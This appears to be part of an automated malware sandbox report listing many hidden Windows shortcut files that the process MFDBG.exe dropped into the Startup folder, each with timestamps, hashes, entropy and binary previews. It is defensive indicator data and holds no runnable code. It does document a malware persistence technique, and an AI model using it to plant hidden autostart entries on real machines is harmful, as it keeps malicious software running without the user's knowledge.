Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...22..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_299966a7af664cfcbce2561f193fdb9d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934334205460413
Encrypted:	false
SSDEEP:	24:8S5hBf3+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8SZPT0R6rMhpBoUBxdRd1nYyg
MD5:	153D57B9D1C7E12E04FCDB9E4B723E7D
SHA1:	EBC194DF99D4CB48FF5C569BDA354E280895BAAB
SHA-256:	5D6CB6B8AB345F544D6EE3A0964C5508C054A12A429E11C4E052EA175CFFA5B0
SHA-512:	045DDED51E3DC7F9133DA55CDE9C477234E7DF54673DC839C87ECAFAB4C65CEB9D0CED9757E4F97A299B34B18219227CFE6BE2A3F397355A97600B503A42C6EE
Malicious:	false
Preview:	L..................F...."...]W%.{....F.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...u.=.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_29a71091d8844dd1a596b7ea96e37919.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939764542370615
Encrypted:	false
SSDEEP:	24:8a2hBfF+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Fp0R6rMhpBoUBxdRd1nYyg
MD5:	DF2E6E587F547CBAB898E221AB5B1294
SHA1:	D928ED10384E61EC9F99BA15269151F11255E984
SHA-256:	10934FEFC495AC8C5658B40E5D1723CFE5DEB4980D2E89491099BC67393FB414
SHA-512:	D06F12769F1E7688A15B87DFC487F6C554FA7C1B33B773FE4E4AE3F909F11E1C0828575948FB53CDBD8F8282AB4D99BE42C5032C6D5951878384C820594D5CB7
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_29b582b1b0f44686926c0f5952099148.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933351888935003
Encrypted:	false
SSDEEP:	24:8KhBfwp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8goO0R6rMhpBoUBxdRd1nYyg
MD5:	99143E41DCC5833037059785667FDF1C
SHA1:	51149F12B0CCC66E1586FBC7F698D668984FC77A
SHA-256:	749AB6B09ACE4758B18A148B7D20EDC7727A1136A045F32CD275335B696A8F22
SHA-512:	4C37CCC64CF8F407160D4791D0DBF18A91F73FB1B952B9DB477C5523759326CB332618300E398099B1302CA5B5CFD836B80F40491395E0596D75F59DEAFC6BDA
Malicious:	false
Preview:	L..................F...."...]W%.{...".l.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....9c.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_29c09eee5d854331a86972971f43b58a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:12 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9277292213731005
Encrypted:	false
SSDEEP:	24:8thBfi+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8N20R6rMhpBoUBxdRd1nYyg
MD5:	0B0EEA8EC77AF0CCD8E37CA162930BC3
SHA1:	66F6422E482B1967DC96EE46FEC70FB9EE7A3F4E
SHA-256:	5206800355FAE96079ABE7A7075FF5771A192E5AAFAC4B252906569AF7BBA6B1
SHA-512:	12F1C3E440FB2503937C76A4C8DB514DB01F7D65160831375D4E1978E25E43C877876AB9D73DDF6217191F9B9FB976FF8450A990B487D0656D38E6A9B196F345
Malicious:	false
Preview:	L..................F...."...]W%.{...@.Y.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...CW..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_29de675df33e4b1c8d63a293c9620578.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936453154635097
Encrypted:	false
SSDEEP:	24:8dhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8dO0R6rMhpBoUBxdRd1nYyg
MD5:	8BDC9A3DA36D54E63AB16CDFF7BE0BA1
SHA1:	DC0E9E56AD73F47C100720568A04F80A8F0D0D4A
SHA-256:	4C1664E11E2E47C29D93B77ADD99F79C0778077DC4EB035C4FCF275BD9AC48E2
SHA-512:	B731469A51B3799853349F35FCC94F3CFBB04DE974C0DD752C1CF8A6E1B2884A23E4C68D6931AEB02991CFB0C5BB954658969CA8ADFBC3B8DCDBE7780327B728
Malicious:	false
Preview:	L..................F...."...]W%.{...6...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...6...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2a177020281f4fd5b54d2fdaebae4afa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936780558275539
Encrypted:	false
SSDEEP:	24:8BhBfTl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xW0R6rMhpBoUBxdRd1nYyg
MD5:	06AEA376BADE4D058D9C345EA3FF2570
SHA1:	CEA192DEED589447D2962E1F4288728CF2844DEF
SHA-256:	009BC3DC73B5537780087D9818922325FB3CF01A3D97C04EE281063764726C92
SHA-512:	182684FA0CAA5586B09EA99A83B6884911E79BEC598333D2A6E2AB8649960E8E133957C2F5E103F84BD1675712913EB4F9A9EA11668646B5E4DF34B44BB485C0
Malicious:	false
Preview:	L..................F...."...]W%.{....r..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...*L..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2a240e77830949ec8eaa9483da0e0ba9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9327494399474725
Encrypted:	false
SSDEEP:	24:8chBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8us0R6rMhpBoUBxdRd1nYyg
MD5:	F6476630DBF8955AE54FAABFD56159E8
SHA1:	3A26158F1909E846A60A4C40E816F21C58FD6CF2
SHA-256:	F97B9AC167501F2CC13F50B398B37EAAF08D66CA1674E87BEA28EC2E805167CF
SHA-512:	7D6AC821EF073B9DA51F74A59B7B5D65BB45B3F937E55CE6071F822F15AEDF0D9FBB00F9C849F7B90657FF5C6CA3A341E5C7BF88145884F4FA7391FC7698AE11
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2a36691d6d6b46b3846fc4ed4640d823.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941773947601887
Encrypted:	false
SSDEEP:	24:8bhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8fy0R6rMhpBoUBxdRd1nYyg
MD5:	3AFFDAE2531A7B04333F2ED05EA90C80
SHA1:	CEACA9A9D1F3056F16DEEAA9D6B444B833B71C66
SHA-256:	BD24CFA905CCAB60F53ADB75E9992CB49EC7E588DBB81A7DDB6944525CB99CD5
SHA-512:	1E79CF80A1B4D7779FC3B7528DAD1D020661B467421B41ACA4B0A5B0D540BAE4CBF93A7A97E90423797E8300A6EA7400D42A87D85EEA4870749580444A25DC97
Malicious:	false
Preview:	L..................F...."...]W%.{....6..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...\|..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2a4bb1c058914722b10a22744412fd57.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938863842836419
Encrypted:	false
SSDEEP:	24:8AhhBf1D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8sNQ0R6rMhpBoUBxdRd1nYyg
MD5:	D9AD4809516BFA679A89A4CA1BD7CDFC
SHA1:	B343A2F41428B6EEC8514CEDF03D74B18B1FCB4D
SHA-256:	A46151F518CCA7DDCE98B45872E8D5F56AE65F92E439701C1E6D963B30D1F96D
SHA-512:	FA28C9F8327AEEA19786E89625F096E6C2D76301FE66B7ADE80B933B9DC3D7060F03C220BEC5C3047BF8A186A0A2611B2793C5CAF405E50BA32184E05D12BE6D
Malicious:	false
Preview:	L..................F...."...]W%.{.....I.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2a505697352c45e495994b89aa26706e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936798431505616
Encrypted:	false
SSDEEP:	24:8hhBf1D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8RNQ0R6rMhpBoUBxdRd1nYyg
MD5:	64BE0CAC92D6CF07ECE1FD19F8117CF7
SHA1:	4D8AAD93911BAD039BA2E6BE4DDBC51A19692657
SHA-256:	9DAB79834CC175AD26D280BF0991FA46D490817986E9B43659DD7F086C953D6B
SHA-512:	8151958310A5FE01317654C0A7C7BA49217596562404DD74660A5E37741102F329E95083D82B06A8A7A663A6ED24695893360FB120A4AAEB051ECAC8A1EA5FB8
Malicious:	false
Preview:	L..................F...."...]W%.{.....S.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2a776a941cb54c51aca0f4b2b1068178.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940194041078117
Encrypted:	false
SSDEEP:	24:8ThBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ny0R6rMhpBoUBxdRd1nYyg
MD5:	121D70A6DA5BD474166236484272928F
SHA1:	C19EDF499A203396F2FA7DDF2B470598BE9BF7B4
SHA-256:	8A85CE3DE137C9D82929AC24CFCCF649DF526F4EBBF3AA66588521453C5A43FC
SHA-512:	9EE162491BE3A17B5C4EFAF87C832752B99BA3ECBB3137E96B068F1DC7C5E3AB7C8054D86A168036DEBF6794910780FE9877BE0D11C69A2ADD9D93EC94F7FC5F
Malicious:	false
Preview:	L..................F...."...]W%.{...L..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...\|..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2ade6b44efc74a239d67203fecc80a57.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933483278408747
Encrypted:	false
SSDEEP:	24:8ahBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8QnC0R6rMhpBoUBxdRd1nYyg
MD5:	04AA4EC7B487A8B577A51BB1BD22CEA8
SHA1:	CFAD6B2AE7602132D0B2BB984E617F9C788EEC96
SHA-256:	7DEF74B710B99DBE0177F52713E903B8F6831C6E8BDD729879422899640EECCF
SHA-512:	772A3A99262C9CEA4487A29429A013B46EA716D53CDA6A5277EAD3B5BE1EB2516369E81045365AFB516E9755DE5729B7278F3906319F061FC9A317EB588C2298
Malicious:	false
Preview:	L..................F...."...]W%.{....B..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b281f94a6da4509957d4eef4e6bfda6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941526656908061
Encrypted:	false
SSDEEP:	24:8SFhBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8SVa0R6rMhpBoUBxdRd1nYyg
MD5:	015CCB233F9C348059D0A8B2714AE229
SHA1:	5E03B99564D05FB936A6B18527F4C9FF9E21A235
SHA-256:	343D91E97F5A830C93FDDA81398D0B61A9C1193A1E74EB9DA07067E4DB598C1E
SHA-512:	D2D9F03ABEE22BEED627232E0DE5CB2C360AFA8880982BC814A0EF7CCFCFE5974A29519B23342EB703737FC2DA6EA4C23339352746B46455513552FD879AA5F6
Malicious:	false
